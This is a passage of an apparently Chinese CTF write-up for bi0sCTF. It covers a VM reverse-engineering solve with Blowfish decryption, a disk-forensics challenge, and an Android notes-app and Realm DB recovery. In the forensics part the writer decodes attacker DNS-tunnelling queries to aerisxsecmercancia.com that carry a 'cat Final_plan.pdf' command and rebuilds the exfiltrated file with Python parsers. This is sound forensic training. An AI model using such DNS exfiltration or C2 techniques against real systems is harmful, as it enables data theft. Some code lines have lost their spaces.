globalflag[8] = 0x2a[v16]
globalflag[9] = 0x2a[v16]
globalflag[10] = 0x37[v16]
globalflag[11] = 0x37[v16]
v4 = what_global[113](0x0)
what_global[0] = 4
x = int(flag[20 : 24])[0x61616262]
what_global[110] = (x + v4(0x0) + 0xcccccccc) mod 0xffffffff
v4 = what_global[110](0x2e2e2f2f)
x = int(flag[16 : 20])[0x38383939]
what_global[107] = 0x2e2e2f2f ^ 0x0 ^ x
v4 = what_global[107](0x16161616)
v16 = v4
v4 = what_global[103](0x1014)
v17[20] = globalflag[16]
v17[21] = globalflag[17]
v17[22] = globalflag[18]
v17[23] = globalflag[19]
globalflag[20] = v17[20]
globalflag[21] = v17[21]
globalflag[22] = v17[22]
globalflag[23] = v17[23]
globalflag[16] = 0x16[v16]
globalflag[17] = 0x16[v16]
globalflag[18] = 0x16[v16]
globalflag[19] = 0x16[v16]
v4 = what_global[99](0x0)
what_global[0] = 4
x = int(flag[20 : 24])[0x38383939]
what_global[96] = (x + v4(0x0) + 0xcccccccc) mod 0xffffffff
v4 = what_global[96](0x5050606)
x = int(flag[16 : 20])[0x16161616]
what_global[93] = 0x5050606 ^ 0x0 ^ x
v4 = what_global[93](0x13131010)
v16 = v4
v4 = what_global[89](0x1014)
v17[20] = globalflag[16]
v17[21] = globalflag[17]
v17[22] = globalflag[18]
v17[23] = globalflag[19]
globalflag[20] = v17[20]
globalflag[21] = v17[21]
globalflag[22] = v17[22]
globalflag[23] = v17[23]
globalflag[16] = 0x13[v16]
globalflag[17] = 0x13[v16]
globalflag[18] = 0x10[v16]
globalflag[19] = 0x10[v16]
v4 = what_global[85](0x0)
what_global[0] = 4
x = int(flag[28 : 32])[0x65656666]
what_global[82] = (x + v4(0x0) + 0xdddddddd) mod 0xffffffff
v4 = what_global[82](0x43434444)
x = int(flag[24 : 28])[0x63636464]
what_global[79] = 0x43434444 ^ 0x0 ^ x
v4 = what_global[79](0x20202020)
v16 = v4
v4 = what_global[75](0x181c)
v17[28] = globalflag[24]
v17[29] = globalflag[25]
v17[30] = globalflag[26]
v17[31] = globalflag[27]
globalflag[28] = v17[28]
globalflag[29] = v17[29]
globalflag[30] = v17[30]
globalflag[31] = v17[31]
globalflag[24] = 0x20[v16]
globalflag[25] = 0x20[v16]
globalflag[26] = 0x20[v16]
globalflag[27] = 0x20[v16]
v4 = what_global[71](0x0)
what_global[0] = 4
x = int(flag[28 : 32])[0x63636464]
what_global[68] = (x + v4(0x0) + 0xdddddddd) mod 0xffffffff
v4 = what_global[68](0x41414242)
x = int(flag[24 : 28])[0x20202020]
what_global[65] = 0x41414242 ^ 0x0 ^ x
v4 = what_global[65](0x61616262)
v16 = v4
v4 = what_global[61](0x181c)
v17[28] = globalflag[24]
v17[29] = globalflag[25]
v17[30] = globalflag[26]
v17[31] = globalflag[27]
globalflag[28] = v17[28]
globalflag[29] = v17[29]
globalflag[30] = v17[30]
globalflag[31] = v17[31]
globalflag[24] = 0x61[v16]
globalflag[25] = 0x61[v16]
globalflag[26] = 0x62[v16]
globalflag[27] = 0x62[v16]
v4 = what_global[57](0x0)
what_global[0] = 8
x = int(flag[8 : 16])[0x2a2a3737c5c5c7c7]
what_global[54] = (x + v4(0x0) + 0xaaaaaaaaaaaaaaaa) mod 0xffffffffffffffff
v4 = what_global[54](0xd4d4e1e270707271)
x = int(flag[0 : 8])[0x36363737ecececec]
what_global[51] = 0xd4d4e1e270707271 ^ 0x0 ^ x
v4 = what_global[51](0xe2e2d6d59c9c9e9d)
v16 = v4
v4 = what_global[47](0x8)
v17[8] = globalflag[0]
v17[9] = globalflag[1]
v17[10] = globalflag[2]
v17[11] = globalflag[3]
v17[12] = globalflag[4]
v17[13] = globalflag[5]
v17[14] = globalflag[6]
v17[15] = globalflag[7]
globalflag[8] = v17[8]
globalflag[9] = v17[9]
globalflag[10] = v17[10]
globalflag[11] = v17[11]
globalflag[12] = v17[12]
globalflag[13] = v17[13]
globalflag[14] = v17[14]
globalflag[15] = v17[15]
globalflag[0] = 0xe2[v16]
globalflag[1] = 0xe2[v16]
globalflag[2] = 0xd6[v16]
globalflag[3] = 0xd5[v16]
globalflag[4] = 0x9c[v16]
globalflag[5] = 0x9c[v16]
globalflag[6] = 0x9e[v16]
globalflag[7] = 0x9d[v16]
v4 = what_global[43](0x0)
what_global[0] = 8
x = int(flag[8 : 16])[0x36363737ecececec]
what_global[40] = (x + v4(0x0) + 0xaaaaaaaaaaaaaaaa) mod 0xffffffffffffffff
v4 = what_global[40](0xe0e0e1e297979796)
x = int(flag[0 : 8])[0xe2e2d6d59c9c9e9d]
what_global[37] = 0xe0e0e1e297979796 ^ 0x0 ^ x
v4 = what_global[37](0x20237370b0b090b)
v16 = v4
v4 = what_global[33](0x8)
v17[8] = globalflag[0]
v17[9] = globalflag[1]
v17[10] = globalflag[2]
v17[11] = globalflag[3]
v17[12] = globalflag[4]
v17[13] = globalflag[5]
v17[14] = globalflag[6]
v17[15] = globalflag[7]
globalflag[8] = v17[8]
globalflag[9] = v17[9]
globalflag[10] = v17[10]
globalflag[11] = v17[11]
globalflag[12] = v17[12]
globalflag[13] = v17[13]
globalflag[14] = v17[14]
globalflag[15] = v17[15]
globalflag[0] = 0x2[v16]
globalflag[1] = 0x2[v16]
globalflag[2] = 0x37[v16]
globalflag[3] = 0x37[v16]
globalflag[4] = 0xb[v16]
globalflag[5] = 0xb[v16]
globalflag[6] = 0x9[v16]
globalflag[7] = 0xb[v16]
v4 = what_global[29](0x0)
what_global[0] = 8
x = int(flag[24 : 32])[0x6161626220202020]
what_global[26] = (x + v4(0x0) + 0xccccccccccccccc) mod 0xffffffffffffffff
v4 = what_global[26](0x6e2e2f2eecececec)
x = int(flag[16 : 24])[0x1313101016161616]
what_global[23] = 0x6e2e2f2eecececec ^ 0x0 ^ x
v4 = what_global[23](0x7d3d3f3efafafafa)
v16 = v4
v4 = what_global[19](0x1018)
v17[24] = globalflag[16]
v17[25] = globalflag[17]
v17[26] = globalflag[18]
v17[27] = globalflag[19]
v17[28] = globalflag[20]
v17[29] = globalflag[21]
v17[30] = globalflag[22]
v17[31] = globalflag[23]
globalflag[24] = v17[24]
globalflag[25] = v17[25]
globalflag[26] = v17[26]
globalflag[27] = v17[27]
globalflag[28] = v17[28]
globalflag[29] = v17[29]
globalflag[30] = v17[30]
globalflag[31] = v17[31]
globalflag[16] = 0x7d[v16]
globalflag[17] = 0x3d[v16]
globalflag[18] = 0x3f[v16]
globalflag[19] = 0x3e[v16]
globalflag[20] = 0xfa[v16]
globalflag[21] = 0xfa[v16]
globalflag[22] = 0xfa[v16]
globalflag[23] = 0xfa[v16]
v4 = what_global[15](0x0)
what_global[0] = 8
x = int(flag[24 : 32])[0x1313101016161616]
what_global[12] = (x + v4(0x0) + 0xccccccccccccccc) mod 0xffffffffffffffff
v4 = what_global[12](0x1fdfdcdce2e2e2e2)
x = int(flag[16 : 24])[0x7d3d3f3efafafafa]
what_global[9] = 0x1fdfdcdce2e2e2e2 ^ 0x0 ^ x
v4 = what_global[9](0x62e2e3e218181818)
v16 = v4
v4 = what_global[5](0x1018)
v17[24] = globalflag[16]
v17[25] = globalflag[17]
v17[26] = globalflag[18]
v17[27] = globalflag[19]
v17[28] = globalflag[20]
v17[29] = globalflag[21]
v17[30] = globalflag[22]
v17[31] = globalflag[23]
globalflag[24] = v17[24]
globalflag[25] = v17[25]
globalflag[26] = v17[26]
globalflag[27] = v17[27]
globalflag[28] = v17[28]
globalflag[29] = v17[29]
globalflag[30] = v17[30]
globalflag[31] = v17[31]
globalflag[16] = 0x62[v16]
globalflag[17] = 0xe2[v16]
globalflag[18] = 0xe3[v16]
globalflag[19] = 0xe2[v16]
globalflag[20] = 0x18[v16]
globalflag[21] = 0x18[v16]
globalflag[22] = 0x18[v16]
globalflag[23] = 0x18[v16]
0x2,0x2,0x37,0x37,0xb,0xb,0x9,0xb,0xe2,0xe2,0xd6,0xd5,0x9c,0x9c,0x9e,0x9d,0x62,0xe2,0xe3,0xe2,0x18,0x18,0x18,0x18,0x7d,0x3d,0x3f,0x3e,0xfa,0xfa,0xfa,0xfa,
通过逆向可以解出虚拟机:
from structimportpack, unpack
defb2Q(m):
return unpack('>Q', m )[0]
def b2I(m):
return unpack('>I', m )[0]
def I2b(m):
return pack('>I', m&0xffffffff)
def Q2b(m):
return pack(">Q",m & 0xffffffffffffffff)
def abs8(m):
if m< 0:
return0x10000000000000000 + m -1
return m
def abs4(m):
if m < 0:
return0x100000000 + m -1
return m
cip = bytes([0x000000000000005C, 0x000000000000007F, 0x00000000000000CA, 0x00000000000000BE, 0x0000000000000004, 0x00000000000000FA, 0x00000000000000A0, 0x00000000000000DD, 0x00000000000000B2, 0x000000000000007A, 0x00000000000000AF, 0x00000000000000DB, 0x000000000000005E, 0x00000000000000A1, 0x0000000000000052, 0x000000000000002F, 0x0000000000000071, 0x00000000000000F2, 0x0000000000000091, 0x0000000000000003, 0x00000000000000C9, 0x00000000000000CC, 0x00000000000000E2, 0x000000000000005A, 0x000000000000004F, 0x000000000000000F, 0x0000000000000049, 0x0000000000000042, 0x0000000000000035, 0x0000000000000032, 0x000000000000003E, 0x000000000000004C])
cip = bytearray(cip)
# cip = bytearray([0x2,0x2,0x37,0x37,0xb,0xb,0x9,0xb,0xe2,0xe2,0xd6,0xd5,0x9c,0x9c,0x9e,0x9d,0x62,0xe2,0xe3,0xe2,0x18,0x18,0x18,0x18,0x7d,0x3d,0x3f,0x3e,0xfa,0xfa,0xfa,0xfa,])
y = b2Q(cip[16:24])
x = b2Q(cip[24:32])
z = cip[16:24] = Q2b(abs8((y ^ x ) - 0xccccccccccccccc))
cip[24:32] = Q2b(abs8(b2Q(z) ^ x ) - 0xccccccccccccccc)
y = b2Q(cip[0:8])
x = b2Q(cip[8:16])
z = cip[0:8] = Q2b(abs8((y ^ x ) - 0xaaaaaaaaaaaaaaaa))
cip[8:16] = Q2b(abs8((b2Q(z) ^ x ) - 0xaaaaaaaaaaaaaaaa))
y = b2I(cip[24:28])
x = b2I(cip[28:32])
z = cip[24:28] = I2b(abs4((y ^ x ) - 0xdddddddd))
cip[28:32] = I2b(abs4((b2I(z) ^ x ) - 0xdddddddd))
y = b2I(cip[16:20])
x = b2I(cip[20:24])
z = cip[16:20] = I2b(abs4((y ^ x ) - 0xcccccccc))
cip[20:24] = I2b(abs4((b2I(z) ^ x ) - 0xcccccccc))
y = b2I(cip[8:12])
x = b2I(cip[12:16])
z = cip[8:12] = I2b(abs4((y ^ x) - 0xbbbbbbbb))
cip[12:16] = I2b(abs4((b2I(z) ^ x ) - 0xbbbbbbbb))
y = b2I(cip[0:4])
x = b2I(cip[4:8])
z = cip[0:4] = I2b(abs4((y ^ x ) - 0xaaaaaaaa))
cip[4:8] = I2b(abs4((b2I(z) ^ x ) - 0xaaaaaaaa))
print(cip)
拿到 这32个字节:
BAHHCEUVDTINFuk7567r87kkjd3rtyyj
下面就是正常的解密blowfish即可:
https://github.com/Rupan/blowfish
/*
blowfish_test.c: Test file for blowfish.c
Copyright (C) 1997 by Paul Kocher
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
voidmain(void){
uint32_t L = 0xD6E782BB, R = 0x665F6447;
BLOWFISH_CTX ctx;
Blowfish_Init(&ctx, (uint8_t*)"BAHHCEUV", 8);
Blowfish_Decrypt(&ctx, &L, &R);
printf("0x%x -- 0x%xn", L, R);
//BAHHCEUV DTINFuk7 567r87kk jd3rtyyj
//""DTIOFuk7 567s87kmjd3styyl""
L = 0xCE51F72E;
R = 0x281218CD;
Blowfish_Init(&ctx, (uint8_t*)"DTINFuk7", 8);
Blowfish_Decrypt(&ctx, &L, &R);
printf("0x%x -- 0x%xn", L, R);
L = 0xA39E5F8C;
R = 0x5F781C78;
Blowfish_Init(&ctx, (uint8_t*)"567r87kk", 8);
Blowfish_Decrypt(&ctx, &L, &R);
printf("0x%x -- 0x%xn", L, R);
L = 0xAD4DD79B;
R = 0x78E0AE72;
Blowfish_Init(&ctx, (uint8_t*)"jd3rtyyj", 8);
Blowfish_Decrypt(&ctx, &L, &R);
printf("0x%x -- 0x%xn", L, R);
printf("111n");
}
//0x676f6473 -- 0x72756561
//0x646e6172 -- 0x735f6d6f
//0x66667574 -- 0x6a726577
//0x726f6567 -- 0x79666468
拿到flag
最后,整合flag:
bi0sctf{aBAHHCEUVDTINFuk7567r87kkjd3rtyyjsdogaeurrandom_stuffwerjgeorhdfy}
Forensics
Bombardio Exfilrino
我们获得了两个.E01格式镜像文件,这种文件通常是由EnCase Imager制作的磁盘镜像。
对于磁盘镜像,我们首先尝试使用FTK Imager挂载,这里Partition字段提示我们这并不是一个简单的文件系统,而是一个`Windows Storage Spaces partition`。
如果尝试直接在Windows系统的资源管理器中打开,会提示我们格式化驱动器以使用它。
显然,我们不应该格式化驱动器,因为我们的目标是从中恢复数据。
这种行为可能有两种可能性(我能想到):
1. .E01文件已损坏,我们需要在挂载之前对其进行修复。
2. Windows Storage Spaces partition文件系统无法直接被识别并挂载。
快速的搜索,Storage Pool是Windows中的一个功能,它允许将多个物理磁盘分组为单个逻辑池存储池,这是一种类似RAID的文件存储方式。
这里我们使用了ufs-explorer-pro进行文件系统的恢复,同时挂载两个镜像文件后开启软件就可以自动重组MSS并识别出其中的NTFS文件系统。
打开文件系统目录,我们立刻获取到了和本次题目相关的四个文件:
1. clients.csv <- 客户名单
2. conv.mp3 <- 一通对话
3. file.zip <- file.log,网络流量日志
4. sighted.zip <- sighted.bin文件
Question 1: What tag and ID was given to the operation during the conversation?
这里的conversation恰好对应conv.mp3,对话内容如下:
A: Yo. You good?
B: Yeah. Bird’s ready. Light load tonight.
A: She gonna fly clean?
B: Trimmed her good. Just three eggs tucked in tight. No way we risk a crash tonight. Exactly.
A: New tag?
B: Yeah. Delta, Four, Charlie, Seven. Don’t screw that up.
A: Delta, Four, Charlie, Seven. Locked. And the ID?
B: Silverhawk Underscore Eighty-eight. Repeat it back to me.
A: Silverhawk Underscore Eighty-eight. Yeah, how I know it’s ours?
B: Blink pattern. Twice quick, once slow. Don’t screw it. No second chances.
A: Twice quick, once slow. Got it.
B: Clocks tight, man. Thirty minutes, tops. Maybe less. Heats crawling everywhere.
A: Copy that. Any fallback?
B: No fallback. No second chances.
A: Copy. Stay low. Stay loose.
B: Always.
因此,该问题的答案为DELTA4CHARLIE7-SILVERHAWK_88
Question 2: What is the name of the 77th client in their client list?
直接打开`client.csv`,找到SR为77的那一行即可
Flag 2: Felisaas
Question 3: What are the coordinates of the second drop-point for the mission?
读取sighted.bin字节,我们看到一些提到经度和纬度的十六进制数据。
搜索在sighted.bin字节中看到的标签,我们到Ardupilot的日志消息文档,并且通过一些搜索,我们可以发现Ardupilot支持Mavlink协议。
然后,我们可以使用tools/mavmission.py使用pymavlink将任务日志转存下来。
PS C:UsersvowDesktoppymavlink-2.4.47> python .mavmission.py .sighted.bin --output dump.txt
Saved18 waypoints to dump.txt
为了了解日志的含义,我们可以参考Mavlink的文件格式文档,该文档显示该格式。
QGC WPL <VERSION>
<INDEX><CURRENT WP><COORD FRAME><COMMAND><PARAM1><PARAM2><PARAM3><PARAM4><PARAM5/X/LATITUDE><PARAM6/Y/LONGITUDE><PARAM7/Z/ALTITUDE><AUTOCONTINUE>
QGC WPL 110
0 0 0 16 0.000000 0.000000 0.000000 0.000000 44.728114 7.421710 267.529999 1
1 0 3 22 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 30.000000 1
2 0 3 21 0.000000 0.000000 0.000000 1.000000 44.734763 7.427600 0.000000 1
3 0 0 218 41.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
4 0 0 93 30.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
5 0 0 218 41.000000 2.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
6 0 3 22 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 30.000000 1
7 0 3 21 0.000000 0.000000 0.000000 1.000000 44.736415 7.433066 0.000000 1
8 0 0 218 41.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
9 0 0 93 30.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
10 0 0 218 41.000000 2.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
11 0 3 22 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 30.000000 1
12 0 3 21 0.000000 0.000000 0.000000 1.000000 44.727088 7.431419 0.000000 1
13 0 0 218 41.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
14 0 0 93 30.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
15 0 0 218 41.000000 2.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1
16 0 3 22 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 30.000000 1
17 0 3 21 0.000000 0.000000 0.000000 1.000000 44.728122 7.421734 0.000000 1
根据dump.txt中的<coord框架>对数据进行排序,我们可以看到第二个下降点为44.734763,7.427600。
Flag 3:44.73,7.43
Question 4: What is the Manifest ID of the cargo?
sighted.bin 文件似乎不包含有关清单ID的任何信息,也不包含以前的文件,因此我们必须在file.zip中查找它,其中包含一个file.log
flie.log包含一个被动的开源网络流量分析仪Zeek的49,077个日志。
使用grep作为manifest, cargo等关键字没有产生任何有用的结果,并且由于Zeek没有解析器,我们将不得不手动分析和过滤日志。
步骤0:过滤工具
为了使我们的搜索更轻松,我将使用Cyberchef的过滤功能,这不仅允许我们根据关键字过滤日志,还可以支持反向条件过滤,以及我们自己的Python Parser来帮助我们从日志中提取某些信息。
步骤1:_ path:“ loaded_scripts”
我们可以轻松地看到_ Pather字段中有不同值的日志。滚动到文件底部,我们注意到最后一个日志都包含_ path:“ ladeed_scripts”,这应该只是Zeek的脚本路径,可能与我们的搜索无关。
...
{_path:"loaded_scripts",name:"/usr/local/zeek/share/zeek/site/local.zeek"}
{_path:"loaded_scripts",name:"/usr/local/zeek/share/zeek/base/init-bare.zeek"}
{_path:"loaded_scripts",name:" /usr/local/zeek/share/zeek/base/utils/dir.zeek"}
{_path:"loaded_scripts",name:" /usr/local/zeek/share/zeek/base/utils/time.zeek"}
{_path:"loaded_scripts",name:" /usr/local/zeek/share/zeek/base/utils/urls.zeek"}
{_path:"loaded_scripts",name:"/usr/local/zeek/share/zeek/base/init-default.zeek"}
{_path:"loaded_scripts",name:" /usr/local/zeek/share/zeek/base/utils/addrs.zeek"}
...
我们可以过滤所有包含_path的日志:“ ladeed_scripts”。
剩余的日志数:48,564
步骤2:_ Path:“文件”
当我们谈论cargo时,我们通常会考虑文件,因此让我们检查所有包含_ path的日志:“文件”。
但是,Zeek的file.log不会捕获传输的文件数据,只有一些有关文件的元数据,并且在日志中似乎没有任何可疑文件,因此我们可以过滤_path:“文件”。
剩余的日志数:45,485
步骤3:_ Path:“ http”
也许设备用户访问了一些网站,其中包含货物文件的路径。 F0rest写了一个解析器,其中列出了所有主机以及他们访问的次数。
426host:"httpbin.org",uri:"/delay/2",referrer
398host:"httpbin.org",uri:"/delay/1",referrer
388host:"httpbin.org",uri:"/delay/3",referrer
306host:"httpstat.us",uri:"/200",referrer
290host:"neverssl.com",uri:"/",referrer
260host:"detectportal.firefox.com",uri:"/",referrer
250host:"httpforever.com",uri:"/",referrer
200host:"www.wikipedia.org",uri:"/",referrer
200host:"speedtest.tele2.net",uri:"/1MB.zip",referrer
100host:"testmy.net",uri:"/",referrer
100host:"news.ycombinator.com",uri:"/",referrer
7 host:"infinitumhub.com",uri:"/",referrer
7 host:"icanhazip.com",uri:"/",referrer
7 host:"httpbin.org",uri:"/",referrer
6 host:"w3.org",uri:"/",referrer
6 host:"deepmesh.org",uri:"/",referrer
4 host:"neuronforge.io",uri:"/",referrer
4 host:"info.cern.ch",uri:"/",referrer
4 host:"1.1.1.1",uri:"/",referrer
3 host:"zenithcore.com",uri:"/",referrer
3 host:"cybernest.org",uri:"/",referrer
3 host:"cipherloom.com",uri:"/",referrer
3 host:"bluecircuit.net",uri:"/",referrer
2 host:"syncrift.com",uri:"/",referrer
2 host:"ifconfig.me",uri:"/",referrer
1 host:"matrixlane.com",uri:"/",referrer
1 host:"fusionglow.com",uri:"/",referrer
1 host:"bytepulse.io",uri:"/",referrer
但是,这些网站似乎都不是恶意的,也没有包含与货物有关的任何信息。因此,_ path:“ http”可以加入我们的排除列表。
剩余的日志数:42,353
步骤4:_ Path:“ conn”
我们可以查看设备制作的所有TCP,UDP和ICMP连接,但是它们都没有任何特定的相交信息,因此我们也可以过滤_path:“ conn”也可以。
剩余的日志数:22,189
步骤5:_ Path:“ DNS”
要注意的另一件事是DNS隧道技术,因此,我们编写了另一个解析器,以列出该设备进行的所有独特的DNS查询。
import re
dns_query_list = []
pattern = r'query:"([^"]+)"'
withopen("file.log") as file:
data = file.readlines()
for log in data:
matches = re.findall(pattern, log)
# Do not add empty matches
iflen(matches) > 0:
dns_query_list.extend(matches)
# Trick to remove duplicates
dns_query_list = list(set(dns_query_list))
# Write results to a file
withopen('dns_queries_parsed.txt', 'w') as f:
for line in dns_query_list:
f.write(f"{line}n")
...
4ddf0120d4fd14904636203030303030206e200a30303030303133393036.203030303030206e200a30303030303134353237203030303030206e200a.30303030303134313932203030303030206e200a30303030303134313232.203030303030206e20.aerisxsecmercancia.com
ouzn6gfl.com
coreliant.net
ztfqfpm6.com
a02e0120d41c6e904638fef9cfc4d758cb3589f1b401e545818171639e8d.80e2d0cb8ad2414adbe001ab8c7edcae7fc07a11088aa00a82f0b4fd37eb.79c59d278f2927b1f6caaa4ad68b244aed7dcafa9595eaf478bb15423ebc.f34f3553f7ac5c9e37.aerisxsecmercancia.com
theverge.com
gialc1e3.com
example.org
...
唔…? DNS查询似乎有一些很长的域,它们都与相同的域相连:Aerisxsecmercia.com。
如果我们尝试在DNS查询中解码十六进制数据,则其中似乎有某种数据。
似乎我们应该将重点放在包含Aerisxsecmercia.com的域。
剩余的日志数:1,066
步骤6:Aerisxsecmercia.com
通过解码包含AerisxSecmercia.com的DNS查询中的一些十六进制(尤其是较长的十六进制),我们可以找到以下数据片段:
599a0120d49033ae0a6361742046696e616c5f706c616e2e7064660a.aerisxsecmercancia.com -> Y Ô3® cat Final_plan.pdf
因此,似乎正在通过DNS查询来删除一个.pdf文件,文件名是final_plan.pdf,那么我们的下一步将使用另一个解析器恢复final_plan.pdf。
实际上,十六进制数据是用9个启动字节(或18个十六进制字符)填充的,我们需要删除它们。
基于观察,.pdf文件数据仅在较长的查询中,因此我们可以过滤掉较短的查询。
import re
dns_hex_exfil_data = []
pattern = r'query:"([^"]+)"'
exfil_file_data = ""
withopen("file.log") as file:
data = file.readlines()
for log in data:
# Only process logs that contain 'dns' in the path
if'_path:"dns"'and'aerisxsecmercancia.com'in log:
# Again, get the hex data in DNS queries
temp_data = re.findall(pattern, log)
# We remove DNS queries that are shorter than a certain length (these usually contain commands instead of data)
iflen(temp_data[0]) > 90:
# The hex data has padding, so we need to remove it (9 bytes, 18 hex characters)
dns_hex_exfil_data.append(temp_data[0][18:])
# Combine the hex exfiltrated data into a single string, with processing
for data in dns_hex_exfil_data:
parsed_data = data.replace('aerisxsecmercancia.com', '')
parsed_data = parsed_data.replace('.', '')
exfil_file_data += parsed_data
# Decode the hex and write to file
file_data = bytes.fromhex(exfil_file_data)
# Write results to a file
withopen('final_plan.pdf', 'wb') as f:
f.write(file_data)
最后,我们将获得一个可查看的.pdf文件,其中包含以下内容:
Flag 4:AXZ-BL-571
Question 5: What is the Doc ID of the Final Mission Plan?
好吧,现在很明显,不是吗?
Flag 5:Aerox-MB-KRM-8251
Question 6: What is the md5 hash of the exfiltrated data?
如果计算出我们解析的final_plan.pdf的MD5哈希,则将获得A1038793AD04230100D3E84DAB54194F作为MD5哈希。
但是,这是不正确的。
事实证明,如果将final_plan.pdf文件中的字节与另一个随机.pdf文件进行比较,您会注意到,在文件末尾,final_plan.pdf缺少0x0a字节。
为了获得正确的哈希,我们必须在final_plan.pdf文件的末尾应用一个额外的0x0a字节。
Flag 6:1560D718C94EA09F1860CD270933FC24
Question 7: What is the MITRE ATT&CK method id which enabled data exfiltration?
回想一下问题4,当我们解码其中一个DNS查询时,我们得到了以下结果。
Y Ô3® cat Final_plan.pdf
注意解码数据中的cat一词,这显然是一个unix命令。
由此,我们可以确定这不仅是数据剥落技术,而且可能是使用DNS的Command and Control (C2)技术。
快速查找MITER ATT&CK网站,我们可以轻松找到正确的方法ID。
Flag 7:T1071.004
最终旗帜
当然,这是最后的旗帜。
bi0sctf {N07_4_G4M3_M0M_17S_F0R3NS1CS_92MAJ420}
ഒണപ്പൂക്കളം
安卓取证,flag包含两个问题:
1:flagPart1 -> from my forgotten notes
2:flagPart2 -> string which was modified and then deleted from the realm db
第一个问题需要找到被遗忘的笔记内容,先来到data
app下查看有没有可疑的app,接着就发现了包名分别叫com.sp3p3x.notesapp和com.example.accessmydata的两个app,很明显前者是一个笔记app,先对他进行逆向分析
很明显是flutter开发的,但在逆之前,我们注意到他有使用python库
查看一下assets 目录,果不其然,在assetsflutter_assetsappapp.zip 下发现了一个main.py,大致逻辑就是用rc4算法加密笔记内容,然后存储在FLET_APP_STORAGE_DATA 中,并将key保存到client_storage
import flet as ft
import datetime, random, os, string
def key_scheduling(key):
sched = [i for i in range(0, 256)]
i = 0
for j in range(0, 256):
i = (i + sched[j] + key[j % len(key)]) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
return sched
def stream_generation(sched):
stream = []
i = 0
j = 0
while True:
i = (1 + i) % 256
j = (sched[i] + j) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
yield sched[(sched[i] + sched[j]) % 256]
def encrypt(text, key):
text = [ord(char) forchar in text]
key = [ord(char) forchar in key]
sched = key_scheduling(key)
key_stream = stream_generation(sched)
ciphertext = ""
forchar in text:
enc = str(hex(char ^ next(key_stream))).lower()
ciphertext += enc
return ciphertext
def storeData(page, content):
app_data_path = os.getenv("FLET_APP_STORAGE_DATA")
fileName = f"{datetime.datetime.now().strftime("%d%m%Y%H%M%S%f")}"
my_file_path = os.path.join(app_data_path, fileName)
key = "".join(
random.choice(string.ascii_letters + string.digits) for _ in range(16)
)
encText = encrypt(content, key)
page.client_storage.set(fileName, key)
with open(my_file_path, "w") as f:
f.write(encText)
page.open(ft.SnackBar(ft.Text(f"File saved to App Data Storage!")))
def main(page: ft.Page):
def saveNote(e):
data = inputBox.value
if data != "":
storeData(page, data)
else:
page.open(ft.SnackBar(ft.Text("Empty content!")))
appBar = ft.AppBar(title=ft.Text("Notes App"))
inputBox = ft.TextField(hint_text="Enter some text...", multiline=True, min_lines=3)
page.appbar = appBar
page.add(inputBox)
page.add(
ft.ElevatedButton(text="Save Note", on_click=saveNote, style=ft.ButtonStyle())
)
ft.app(main)
查阅Flet官方文档,得知在Android上client_storage 的数据是保存在SharedPreferences中的
到datauser com.sp3p3x.notesappshared_prefs 目录下,查看FlutterSharedPreferences.xml 里面保存的就是rc4的key
<map>
<stringname="flutter.15052025175732777833">"1OmIyq5YT50YlWB0"</string>
<stringname="flutter.15052025175747121993">"oIdeaSz9iySlAmKJ"</string>
<stringname="flutter.15052025175936114230">"YKnQqnrzfTIM9HLu"</string>
<stringname="flutter.15052025180002742685">"RhjZrO2JGKQLamST"</string>
<stringname="flutter.15052025175724299736">"SkZFksurgEq3Tdhe"</string>
<stringname="flutter.15052025175950593733">"M52JUgdj9r6kkVg4"</string>
<stringname="flutter.15052025175944264611">"lunMORQQjKhX9u5H"</string>
</map>
同时查看datauser com.sp3p3x.notesapp
app_flutter 下的就是被加密的数据,将其一个个解密就可以得到flag part1:w311_7h47_p4r7_w45_345y
接着第二问则要求我们找到 “被修改然后从领域数据库中删除的字符串”,realm db是什么?上网查询可以得知realm db一般是保存为一个后缀为.realm的文件,但是搜索后并没有发现对应文件
回到前面发现的另一个名叫com.example.accessmydata的app,结合题目描述中的”can you also access my data and figure out what was deleted?”,好好好原来access my data是这么个意思,同样还是一个flutter app,用blutter恢复符号之后对其进行逆向
在blutter生成的pp.txt中可以发现realm db的踪迹,原来是远程下载下来后解密并加载的
解密算法大概就是一个AES+base64,但不清楚为什么拿到key和iv后一直无法解密,为了节省时间,所以我这里直接选择运行时将内存中解密好的db直接dump下来了
拿到realm db后,现在需要找个合适的工具打开和分析他,我们找到了一篇很好的文章https://github.com/DFC-2024-LuckyVicky/writeup/blob/main/writeup/[LuckyVicky][303].pdf
可以使用Realm Studio来打开realm db文件,但是最新版本已经不支持该版本格式的db了,按照文章所说的下载3.10版本是最后一个支持的版本
打开db后可以看到里面一大片的UUID,RealmTestClass0 缺少一条数据应该就是需要恢复的内容
接下来按照文章当中讲的,使用https://github.com/hyuunnn/realm_recover 来恢复数据,但该工具并不能完成所有的工作,剩下一小部分仍需要手动完成
但我们发现了一个神奇的地方,题目的realm db和文章中所使用的demo.realm中的数据竟然几乎完全一致,那么我们猜测这个db可能是直接使用了demo.realm 修改而来,为了验证一下我们的猜测,我们来diff一下两个db使用realm recover生成的scan_all_objects.txt
果不其然,在diff的结果中发现了一条可疑的修改
最终flag:
bi0sctf{w311_7h47_p4r7_w45_345y_5P0BF5BC-5AA1-4790-A05F-A2RDCBALDB49}
AnansiTap
